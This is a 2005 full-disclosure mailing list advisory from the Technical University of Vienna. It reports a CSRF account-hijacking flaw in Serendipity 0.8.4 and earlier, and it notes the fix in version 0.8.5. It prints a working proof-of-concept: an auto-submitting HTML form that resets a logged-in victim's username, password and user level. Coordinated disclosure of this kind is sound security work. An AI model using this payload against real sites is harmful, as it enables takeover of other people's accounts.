[prev in list] [next in list] [prev in thread] [next in thread] 

List:       full-disclosure
Subject:    [Full-disclosure] Serendipity: Account Hijacking / CSRF
From:       Nenad Jovanovic <enji () infosys ! tuwien ! ac ! at>
Date:       2005-09-29 14:04:48
Message-ID: 433BF480.1050007 () infosys ! tuwien ! ac ! at
[Download RAW message or body]

===========================================================
Serendipity: Account Hijacking / CSRF Vulnerability
===========================================================
Technical University of Vienna Security Advisory
TUVSA-0509-001, September 29, 2005
===========================================================


Affected applications
----------------------

Serendipity (www.s9y.org)

Versions 0.8.4 and prior.


Description
------------

An attacker is able to change the username and password of a logged-in
user (and can therefore hijack his account) by tricking the user into
clicking a link to a page with the following contents:

     <form 
action="http://your-server/path-to-s9y/serendipity_admin.php?serendipity[adminModule]=personal&amp;serendipity[adminAction]=save" \
 method="post">
         <input type="text" name="username" value="evilguy" />
         <input type="text" name="password" value="evilpass" />
         <input type="text" name="realname" value="John Doe" />
         <input type="text" name="userlevel" value="255"/>
         <input type="text" name="email" value="john@example.com" />
         <input type="text" name="lang" value="en"/>
         <input type="submit" name="SAVE" value="Save" />
     </form>

     <script type="text/javascript">
       document.forms[0].submit();
     </script>

The fields "your-server" and "path-to-s9y" in the form's action
attribute have to be adjusted accordingly.

Similar attacks (termed as "Cross-Site Request Forgery" or CSRF) can be
launched for performing other requests disguised as the victim.
However, this problem is not limited to Serendipity, but affects a large
number of comparable web applications available at this time.


Solution
---------

Version 0.8.5 of Serendipity is reported by the developers to fix
the Account Hijacking vulnerability as well as the general CSRF problem
itself.


Acknowledgements
-----------------

Thanks to Serendipity developer Garvin Hicking for his quick response
and professional cooperation.


Nenad Jovanovic
Secure Systems Lab
Technical University of Vienna
www.seclab.tuwien.ac.at

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


[prev in list] [next in list] [prev in thread] [next in thread]